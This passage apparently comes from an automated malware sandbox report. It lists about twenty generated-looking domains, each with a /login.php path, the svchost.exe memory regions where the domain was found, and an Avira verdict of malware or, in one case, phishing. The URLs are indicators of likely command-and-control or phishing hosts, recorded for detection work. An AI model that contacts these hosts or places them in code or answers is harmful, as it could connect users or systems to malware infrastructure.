                                                                                                                                                                                                          http://lyxysad.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752503084.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gahyzez.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://purywyl.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puryxag.com/login.phpsvchost.exe, 00000002.00000003.2334859023.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337298832.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vopymyc.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582641786.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vojycec.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gatyfus.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408310468.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157288878.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408240997.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157020892.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151945828.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157370436.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408435581.0000000008706000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.000000000165E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pufybyv.com/login.phpsvchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyvyjox.com/login.phpsvchost.exe, 00000002.00000003.2534942140.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799665980.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580138663.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2639783827.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513891995.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577725092.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744282585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3281377881.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2501199142.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2781606589.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2681961070.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2812761855.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746922918.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2508227965.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2281429661.000000000861B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2606611423.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2645351612.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2280606997.0000000000882000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qegytyv.com/login.phpsvchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ganyfes.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://volydot.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296732942.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyquw.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lykyvod.com/login.phpsvchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pujydap.com/login.phpsvchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799131678.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2798176179.00000000058CC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vocydyc.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gadyneh.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lysyvan.com/login.phpsvchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404361246.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2504670847.000000000331A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388123270.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393482937.000000000339B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344396822.0000000003399000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lykywid.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3245948099.0000000008615000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3343594271.0000000008619000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2802384900.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3401732575.0000000008619000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341805017.0000000008619000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2603580004.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321538396.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2596489806.0000000008611000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyvyxyj.com/login.phpsvchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582641786.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ganyvyw.com/login.phpsvchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, 